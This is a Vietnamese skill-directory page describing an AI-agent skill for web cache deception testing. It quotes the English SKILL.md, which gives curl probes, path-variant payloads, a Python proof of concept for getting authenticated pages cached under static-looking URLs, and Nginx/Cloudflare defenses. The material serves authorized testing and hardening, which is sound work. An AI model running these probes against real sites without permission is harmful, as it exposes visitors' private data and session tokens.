Chuyển đến nội dung
Skillpedia
Bảo mật6.5k · #14052

cache-deception

Skill này làm gì

Hướng dẫn này nói về lừa dối bộ nhớ đệm web, khi CDN hoặc proxy lưu trang riêng tư của người dùng đã đăng nhập như thể đó là trang công khai. Dành cho các nhóm vận hành cache đặt trước ứng dụng web.

Khi nào nên dùng

  • ✓Khi một trang web dùng CDN hoặc proxy để cache các trang dựa trên phần mở rộng file hoặc mẫu đường dẫn.
  • ✓Khi một bài kiểm thử được ủy quyền muốn kiểm tra xem các trang riêng tư có được cache dưới URL trông như tĩnh không.
  • ✓Khi một nhóm rà soát quy tắc cache cho nội dung của người đã đăng nhập.

Liên kết skill

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/cache-deception/SKILL.md

Sao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.

Cách dùng

Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.

Tin nhắn có sẵn để dán

Hãy dùng skill này để giúp tôi: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/cache-deception/SKILL.md Đọc tệp SKILL.md tại liên kết đó và làm theo hướng dẫn cho việc của tôi.
Bạn muốn AI tự tìm những skill như thế này?Cài MCP Skillpedia miễn phí: chỉ một dòng, và AI sẽ tìm trong 15.000+ skill trước mỗi việc.Cài đặt trong 1 phút →

Ví dụ cách nhờ AI

“Trang web của chúng tôi dùng CDN đặt trước ứng dụng. Bạn có thể kiểm tra xem các trang tài khoản riêng tư có thể bị cache dưới URL trông như tĩnh không?”

5 skill mới mỗi tuần. Đọc chỉ 1 phút.

Cách hoạt động

Agent yêu cầu các trang tài khoản bằng đường dẫn giả trông như tĩnh trong một tài khoản thử nghiệm, kiểm tra header cache và so sánh với những gì khách chưa đăng nhập nhận được.

Nội dung kỹ thuật (SKILL.md gốc)

Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.

Web Cache Deception

Reverse proxies / CDNs cache based on URL extension or path patterns (.css, .jpg, /static/). If the origin server returns the authenticated page for any path, attacker tricks the cache into storing private content under a public-cacheable URL.

1. The classic

GET /account.css     ← attacker visits, in their own session
                       Cache miss → origin returns /account (authenticated, w/ user cookies in URL or response body)
                       Cache stores response keyed on /account.css

GET /account.css     ← victim or any unauth visitor
                       Cache HIT → serves the attacker-cached, victim-data response

2. Probe the deception

# Step 1: visit authenticated page w/ a fake .css path
curl -i -H "Cookie: session=$AUTH" $TARGET/account.css | grep -E '^(HTTP|Cache|X-Cache)'

# Look for:
# Cache-Control: public, max-age=...
# X-Cache: MISS (then HIT next time)
# Content-Length consistent w/ /account page (not 404)

# Step 2: from unauth session
curl -i $TARGET/account.css | grep -E 'HTTP|Cache' && diff_response_bodies

If the second request returns the AUTHENTICATED content of step 1 → deception confirmed.

3. Variants

Variant Path
.css suffix /account/foo.css
.jpg suffix /account.jpg
/static/ prefix /static/../account
Multiple slashes /account//.css
URL-encoded ; /account%3B.css
Trailing semi-segment /account;foo.css
Double extension /account.html.css
Path parameter /account.css/anything

Each cache impl handles these differently. Cloudflare / Fastly / Akamai / Varnish all have known quirks.

4. Cache poisoning vs cache deception

  • Deception — attacker forces cache of victim's data, served to others
  • Poisoning — attacker injects content into a normal cached resource

This skill covers deception. Cache poisoning is a separate (overlapping) class.

5. Tools

  • Param Miner (Burp plugin) — unkeyed param discovery
  • webcache.cyberxecution.com for quick suffix probes
  • Manual via Burp Repeater

6. PoC

import requests
sess = requests.Session()
sess.cookies['session'] = 'AUTH_COOKIE'

# 1. Force cache of authenticated response
r1 = sess.get(f"{TARGET}/account.css")
print(f"step1 status={r1.status_code} body_hash={hash(r1.text)}")

# 2. Hit same URL unauth
r2 = requests.get(f"{TARGET}/account.css")
print(f"step2 status={r2.status_code} body_hash={hash(r2.text)}")
assert r2.text != "404 not found"
assert "private_data" in r2.text   # adjust to whatever marker your auth page has

7. Severity

Bug Severity
Cache deception exposing PII (email, name, balance) Critical 8-9
Cache deception of session token Critical 9.8 (ATO)
Cache deception of public-only data Informational
Cache poisoning of script content Critical 9.0 (RCE-adjacent in browser context)

8. Defender

# Nginx — prefix-based cache keys, NOT extension-based
location / {
  proxy_pass http://origin;
  proxy_cache_key "$scheme$proxy_host$uri";
  add_header Cache-Control "private, no-store" always;
}

# Cloudflare — set Cache Rules to require Vary: Cookie + Authorization
# AND match by Content-Type, not URL extension

Apps should send Cache-Control: private, no-store on every authenticated response to defeat both deception and poisoning.

Cross-references

  • Upstream catalog: skills/_corpus/payloads/Web Cache Deception/
  • Smuggling overlap: skills/exploit/web/smuggling.md

Known exemplars

  • Omer Gil's original PayPal disclosure (2017)
  • Multiple HackerOne reports $5-15k for cache deception on enterprise SaaS
  • 2023: notable Stripe disclosure of cache deception leading to PII leak
Câu hỏi thường gặp

Rủi ro là gì?

Một trang riêng tư có thể được lưu lại và sau đó hiển thị cho những khách khác dùng cùng địa chỉ.

Những đường dẫn nào được kiểm tra?

Các đường dẫn thêm phần mở rộng tĩnh hoặc tiền tố giả vào trang riêng tư, theo hướng dẫn.

Cách khắc phục là gì?

Đặt quy tắc cache sao cho các phản hồi của người đã đăng nhập hoặc riêng tư không bao giờ được lưu.

Chi tiết

Mô tả gốc của tác giả

Web cache deception — trick CDN/proxy into caching authenticated responses under unauthenticated URLs, exposing PII to any visitor.

repo: BitterSecurity/Decepticon

Độ phổ biến

Sao GitHub
6.5k
Vị trí xếp hạng
#14052
Giấy phép
Apache-2.0
Cập nhật
1/11/2026

Skill này có hữu ích không?

0

Đăng nhập để bình chọn.

Bình luận

  • …

Thêm skill từ kho mã này

Skill tương tự